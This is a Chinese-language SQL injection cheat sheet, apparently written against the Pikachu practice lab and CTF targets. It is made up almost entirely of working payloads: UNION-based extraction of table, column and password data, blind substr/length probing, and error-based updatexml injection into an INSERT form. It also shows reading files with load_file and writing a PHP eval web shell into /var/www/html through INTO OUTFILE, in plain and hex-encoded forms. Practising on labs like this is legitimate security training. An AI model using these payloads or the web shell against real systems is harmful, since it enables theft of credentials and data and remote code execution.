?id=1' # 返回异常可能存在注入 ?id=1'# # 井号注释掉后面的sql语句，返回正常可能存在注入(#需要转成%23) ?id=1'-- # --注释掉后面的sql语句，在url时(GET请求)中得改成--+，返回正常可能存在注入 ?id=1 and 1=1 # 返回正常可能存在注入 ?id=1 and 1=2 # 返回异常可能存在注入 ?id=1 or 1=1 # 返回正常可能存在注入 ?id=1 and select sleep(5) # 网页加载时间比平时慢5秒可能存在注入
# 猜字段数量
?id=1' order by 1# # 调整数字大小，在正常与异常的临界点则为字段数量 ?id=1" order by 1# ?id=1 order by 1
# 查询数据库名
?id=1' union select 1,2,database()# ?id=1" union select 1,2,database()# ?id=1 union select 1,2,database()
# 查表名
?id=1' union select 1,TABLE_NAME,3 from information_schema.COLUMNS where TABLE_SCHEMA=database()# ?id=1 union select 1,TABLE_NAME,3 from information_schema.COLUMNS where TABLE_SCHEMA=database()
# 查字段名
?id=1' union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA=database()# # 猜所有表的字段 ?id=1 union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA=database() ?id=1' union select 1,COLUMN_NAME FROM information_schema.columns where TABLE_NAME='users'# # 单独查询某个表的字段
# 查字段内容
?id=1' union select 字段1,字段2，字段3 from 表名# ?id=1 union select 字段1,字段2，字段3 from 表名 ?id=1 union select 1,group_concat(字段名) from 表名 # 一般查询是一列输出的，group_concat()是拼接为一行输出的 ?id=1 union select 1,group_concat(字段名) from 库名.表名
# 读文件 select load_file('/flag.txt') # 直接在数据库中执行 ?id=1 union select 1,load_file('/flag.txt') # 联合查询读文件 ?id=1 union select 1,load_file(0x2f666c61672e747874) # 如果过滤的是'或者是"时 使用十六进制对其进行编码
# 写文件 select '<?php phpinfo();?>' into outfile '/var/www/html/1.php'; # 直接在数据库中执行 ?id=1 union select '<?php @eval($_POST["a"]);?>' into outfile '/var/www/html/1.php'; ?id=1 union select '<?php @eval(\$_POST["a"]);?>' into outfile '/var/www/html/1.php'; # 在一定条件下需要使用\把$注释掉
select 0x3c3f70687020406576616c28245f504f53545b2261225d293b3f3e into outfile '/var/www/html/1.php'; # 将一句话马转为16进制
select substr(database(),1,1); # 查询当前数据库名的第一个字符，返回 d select substr(database(),2,1); # 查询当前数据库名的第一个字符，返回 v select substr(database(),1,2); # 查询当前数据库名的前两个字符，返回 dv
users表下的user_id字段有内容: 1,2,3,4,5 select user_id from users limit 0,1 # 从第1个内容开始查询，返回一条数据，结果为1 select user_id from users limit 1 # 同上(起始位置默认为0) select user_id from users limit 1,1 # 从第2个内容开始查询，返回一条数据，结果为2 select user_id from users limit 0,2 # 从第1个内容开始查询，返回两条数据，结果为12
# 查询当前数据库的第一个数据表表名长度 mysql> select length((select table_name from information_schema.tables where table_schema=database() limit 0,1)); +----------------------------------------------------------------------------------------------------+ | length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) | +----------------------------------------------------------------------------------------------------+ | 9 | +----------------------------------------------------------------------------------------------------+
# 查询当前数据库的第二个数据表表名长度 mysql> select length((select table_name from information_schema.tables where table_schema=database() limit 1,1)); +----------------------------------------------------------------------------------------------------+ | length((select table_name from information_schema.tables where table_schema=database() limit 1,1)) | +----------------------------------------------------------------------------------------------------+ | 5 | +----------------------------------------------------------------------------------------------------+
# 查询当前数据库的第一个数据表的第一个字符的内容 mysql> select substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1); +--------------------------------------------------------------------------------------------------------+ | substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) | +--------------------------------------------------------------------------------------------------------+ | g | +--------------------------------------------------------------------------------------------------------+
# 不使用limit限制查询时 mysql> select substr((select table_name from information_schema.tables where table_schema=database()),1,1); ERROR 1242 (21000): Subquery returns more than 1 row # 报错子查询超过一行
count() 返回查询数量
语法: count(查询到的数据) 示例:
users表下的user_id字段有内容: 1,2,3,4,5 select count((select user_id from users)); # 查询users表下的user_id字段有几个内容，返回5 select count(schema_name) from information_schema.schemata; # 查询数据库个数 select count(table_name) from information_schema.tables where table_schema='库名'; # 查询指定数据库的表个数 select count(column_name) from information_schema.columns where table_schema='库名' and table_name='表名'; # 查询指定库下表的字段个数 select count(字段名) from 库名.表名 # 查询指定库->表->字段 下的内容个数
id=0unionselect1,group_concat(table_name) from information_schema.tables where table_schema=database() //返回表名有 httpinfo,member,message,users,xssblind
SQL语句如下 mysql>select username,email frommemberwhere id=0unionselect1,group_concat(table_name) from information_schema.tables where table_schema=database(); +----------+----------------------------------------+ | username | email | +----------+----------------------------------------+ |1| httpinfo,member,message,users,xssblind | +----------+----------------------------------------+
### 查询字段名
users表 id=0unionselect1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' //该表下有字段id,username,password,level
SQL语句如下 mysql>select username,email frommemberwhere id=0unionselect1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'; +----------+----------------------------+ | username | email | +----------+----------------------------+ |1| id,username,password,level | +----------+----------------------------+
查询内容
users表下的username，password字段内容 id=0unionselect group_concat(username),group_concat(password) from users
# 查询表名 ?name=1') union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23
# 查询字段名 ?name=1') union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'%23
# 查询字段内容 ?name=1') union select group_concat(username),group_concat(password) from users%23
inster注入
防御方式
该级别对SQL注入无任何防护
$query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')";
# 返回注册成功,该处存在SQL注入 # SQL语句如下 insert into member(username,pw,sex,phonenum,email,address) values('test','123','','','','');
猜数据库名
username=a' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or'
# SQL语句如下 mysql> insert into member(username,pw,sex,phonenum,email,address) values('a' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '','','','',''); ERROR 1105 (HY000): XPATH syntax error: '~pikachu~'
猜数据表名
# 使用group_concat()时因数据过长所以显示不完全 username=a' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or'
# 使用limit限制查询数量，每次查询一条结果 username=a' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) or'
猜字段名
username=a' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e),1) or'
猜字段内容
# 查询用户名 username=a' and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1) or'
# 查询密码 username=a' and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1) or'
# 查询密码时最后一位显示不完全，可能是因为长度太长,将~替换为.就可以显示出来 username=a' and updatexml(1,concat('.',(select password from users limit 0,1)),1) or'
